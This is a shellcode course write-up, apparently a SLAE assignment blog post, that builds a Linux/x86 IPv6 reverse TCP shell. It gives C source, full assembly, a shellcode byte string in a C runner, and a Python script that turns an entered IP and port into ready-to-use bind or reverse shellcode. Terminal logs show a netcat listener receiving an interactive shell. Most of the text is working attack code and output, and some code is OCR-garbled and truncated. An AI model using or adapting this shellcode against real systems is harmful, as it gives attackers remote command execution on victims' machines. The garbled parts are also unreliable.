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./shell_reverse_tcp_ipv6
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# OX2: SHELL\_REVERSE\_TCP\_IPV6 - LINUX/X86

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The objective of this assignment is to create a **Shell\_Reverse\_TCP** in Linux/x86 Assembly for which, IP and port number should be easily configurable.

Lets jump into our connect-back shellcode for IPv6 socket in C and develop the same using assembly language by obeying all the basic rules from my previous post.

Shell\_Reverse\_TCP for IPV6 socket in C:

```
#include <stdio.h>
      #include <sys/types.h>
 2
      #include <sys/socket.h>
 3
      #include <netinet/in.h>
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 6
      //For dup2();
 7
      int i;
 8
 9
      // sockfd for host
10
      int sockfd;
11
      //Length of socket for new connections
12
      socklen t sock len;
13
14
      // sockaddr in6 struct
15
      struct sockaddr in6 srvaddr;
16
17
18
      int main()
    □{
19
20
          //Create a socket
21
          sockfd = socket(AF INET6, SOCK STREAM, 0);
22
23
          //Initialize sockaddr struct for reverse socket
24
          srvaddr.sin6 family = AF INET6;
25
          srvaddr.sin6 port = htons(4444);
26
          inet pton(AF INET6, "::ffff:192.168.1.5", &srvaddr.sin6_addr);
27
28
          //Connect to socket
29
          connect(sockfd, (struct sockaddr *)&srvaddr, sizeof(srvaddr));
30
31
          //Duplicate file descriptors for STDIN, STDOUT and STDERR
32
          for(i = 0; i \le 2; i++)
33
              dup2(sockfd, i);
34
35
          // Execute /bin/sh
36
          execve("/bin/sh", NULL, NULL);
37
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```

A quick breakdown of above code in C:

- Create a socket
- Connect to the port listening on the server/target IP.
- Redirect STDIN, STDOUT and STDERR to newly created socket.
- Spawn the shell.

The socket creation,making syscall,etc., is pretty much same as of Bind\_TCP\_Shell in my previous post, but the structure of the socket should contain information of the IP and port to connect-back. This can be achieved by making use of **SYS\_CONNECT** method in our shellcode:

- EAX register should contain socket call number 0x66.
- EBX register should contain 0x3 (Refer: /usr/include/linux/net.h)
- ECX should contain pointer to the arguments.

Complete Shell\_Reverse\_TCP\_IPV6 shellcode:

```
global _start
section .text

;References:
;(1) http://syscalls.kernelgrok.com/
;(2) https://www.3dbrew.org/wiki/Socket_Services
;(3) https://www.ibm.com/support/knowledgecenter/en/ssw_ibm_i_71/rzab6/cafinet6.htm
_start:
```

```
; IPV6 socket creation
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket family, int socket type, int protocol);
; EAX=0x2
pop eax
xor ebx, ebx ; zero out ebx
push 0x6 ; IPPROTO TCP=6
push 0xa ; AF INET6
mov ecx, esp ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi, eax ; sockfd stored in esi
xor eax, eax
; Connect
;connect(sockfd, (struct sockaddr*)&srvaddr, sizeof(srvaddr));
; int socketcall(int call, unsigned long *args);
push DWORD 0x0501a8c0 ; MY LOCAL IP = 192.168.1.5 | Can be configured to YOUR's
push word 0xffff
push DWORD eax
push DWORD eax
push WORD ax ;inet pton(AF INET6, "::ffff:192.168.1.5", &srvaddr.sin6 addr)
push DWORD eax ;sin6 flowinfo
push WORD 0x5c11 ; PORT=4444 | 0x5c11 | Can be configured to YOUR's
```

```
push WORD 0x0a ;AF INET6
mov ecx, esp ; ECX holds pointer to struct sockaddr in6
;pointer to sockfd
push ecx
push esi ;sockfd
mov ecx, esp ;ECX points to args
inc ebx
     ;EBX = 0x3 | #define SYS Connect 3
inc ebx
pop eax
int 80h
pop ecx ; ECX = 2
;dup2() to redirect stdin(0), stdout(1) and stderr(2)
loop:
;EAX = 0x3f
pop eax
int 0x80 ;exec sys dup2
dec ecx ;decrement counter
jns loop ;if SF not set ==> keep on jumping
; execve (/bin//sh)
xor ecx, ecx ;clear ECX
push ecx ; Push NULL
;EAX=0x2 | execve()
pop eax
```

```
push 0x68732f2f ; (1)/bin//sh
push 0x6e69622f ; (2)/bin//sh
mov ebx,esp ;EBX pointing to "/bin//sh"
int 0x80 ;Calling Interrupt for sys call
```

The socket structure should match the following:

First, we have to set-up the structure of **inet\_pton** and then embed into our complete socket structure as above. We do it by first setting up **sin6\_addr** to "O" using **PUSH DWORD eax** and then similarly setting up **::ffff:192.168.1.5 (Configurable),** port **4444** as below:

- push DWORD 0x0501a8c0
- push WORD 0xffff

## **LET'S COMPILE AND TEST THE SHELLCODE:**

```
==> nasm -f elf32 -o shell_reverse_tcp_ipv6.o shell_reverse_tcp_ipv6.asm
==> ld -o shell_reverse_tcp_ipv6 shell_reverse_tcp_ipv6.o
==> ./shell_reverse_tcp_ipv6

//Listener on IPv6 socket
==> nc -6 -l -v -p 4444
```

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kartik@kartik-VirtualBox:~$ ld -o shell reverse tcp ipv6 shell reverse tcp ipv6.o
kartik@kartik-VirtualBox:~$
kartik@kartik-VirtualBox:~$ ./shell reverse tcp ipv6
    kartik@kartik-VirtualBox:~$ nc -6 -l -v -p 4444
   Listening on [:::] (family 10, port 4444)
   Connection from [::ffff:192.168.1.5] port 4444 [tcp/*] accepted (family 10, spor
   t 35130)
   id
   uid=1000(kartik) gid=1000(kartik) groups=1000(kartik),4(adm),24(cdrom),27(sudo),
   30(dip),46(plugdev),113(lpadmin),128(sambashare)
   whoamt
   kartik
```

## **EXTRACTING THE SHELLCODE:**

## **SHELLCODE IN C:**

```
#include<stdio.h>
unsigned char shellcode[] = \
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x68\xc0\xa8\x01\x05\x66\;
main()
{
    printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;
    ret();
}
```

## **COMPILING AND EXECUTING FINAL SHELLCODE:**

```
gcc shell_reverse_tcp_ipv6_final.c -o shell_reverse_tcp_ipv6_final -fno-stack-protector -z execstack -m32
```

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kartik@kartik-VirtualBox:-$ gcc shell_reverse_tcp_ipv6_final.c -o shell_reverse_tcp_ipv6_final -fno-stack-protector -z execstack -m32
shell_reverse_tcp_lpv6_final.c:6:1: warning: return type defaults to 'int' [-Wimplicit-int]
main()
kartik@kartik-VirtualBox:-$
kartik@kartik-VirtualBox:-$ ./shell_reverse_tcp_ipv6_final
Shellcode Length: 86
 kartik@kartik-VirtualBox:~$ nc -6 -l -v -p 4444
Listening on [:::] (family 10, port 4444)
Connection from [::ffff:192.168.1.5] port 4444 [tcp/*] accepted (family 10, spor
t 35132)
uid=1000(kartik) gid=1000(kartik) groups=1000(kartik),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),113(lpadmin),128(sambashare)
whoant
kartik
echo bingo
bingo
```

## **CONFIGURING THE IP AND PORT:**

Developed a small python script to configure our shellcode:

```
import socket
import struct
import string
```

```
def convert ip(ip):
       ip1 = ''.join([hex(int(x)+256)[3:] for x in ip.split('.')])
        endian = int(ip1, 16)
        print "\nHEX: "+"0x"+ip1
        ip2 = "\x"+ip1[:2]+"\x"+ip1[2:4]+"\x"+ip1[4:6]+"\x"+ip1[6:8]
        print ip+" has been converted to little-endian"+ip2
        return ip2
def convert port(port):
       port1 = hex(port)
        port2 = str("\x"+port1[2:4]+"\x"+port1[4:6])
        print "PORT "+str(port)+" has been converted to "+"\\x"+port1[2:4]+"\\x"+port1[4:6]+"\\n\n"
        return port2
if name == ' main ':
       ip = raw input("Enter the IP to connect-back: ")
        port = raw input("Enter the PORT: ")
       ip3 = convert ip(str(ip))
        port3 = convert port(int(port))
        print "Choose your shellcode \n\n"
```

```
bind_shell = ("\\x6a\\x66\\x58\\x31\\xdb\\x6a\\x06\\x6a\\x01\\x6a\\x0a\\x43\\x89\\xe1\\xcd\\x80\\x9
print "Your Bind shell for IPv6 socket has been configured successfully: "+bind_shell+" \n\n"
reverse_shell = ("\\x6a\\x66\\x58\\x31\\xdb\\x6a\\x06\\x6a\\x01\\x6a\\x01\\x6a\\x04\\x89\\xe1\\xcd\\x80\\
print "Your Reverse shell for IPv6 socket has been configured successfully: "+reverse_shell+" \n\n'
```

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- Only **86 bytes** in size.
- IP and port can be easily configured.
- Register independent

Exploit-DB: https://www.exploit-db.com/exploits/45139

#### Link to C-code:

https://github.com/kartikdurg/SLAE/blob/master/Assignment\_0x2/shell\_reverse\_tcp\_ipv6.c

#### Link to Shellcode.ASM:

https://github.com/kartikdurg/SLAE/blob/master/Assignment\_0x2/shell\_reverse\_tcp\_ipv6.asm

#### Link to Shellcode.c:

https://github.com/kartikdurg/SLAE/blob/master/Assignment\_0x2/shell\_reverse\_tcp\_ipv6\_final.c

### Link for my python script BIND\_REVERSE\_IPv6\_SHELL:

https://github.com/kartikdurg/SLAE/blob/master/BIND\_REVERSE\_IPv6\_SHELL.py

Thank you for reading 🙂

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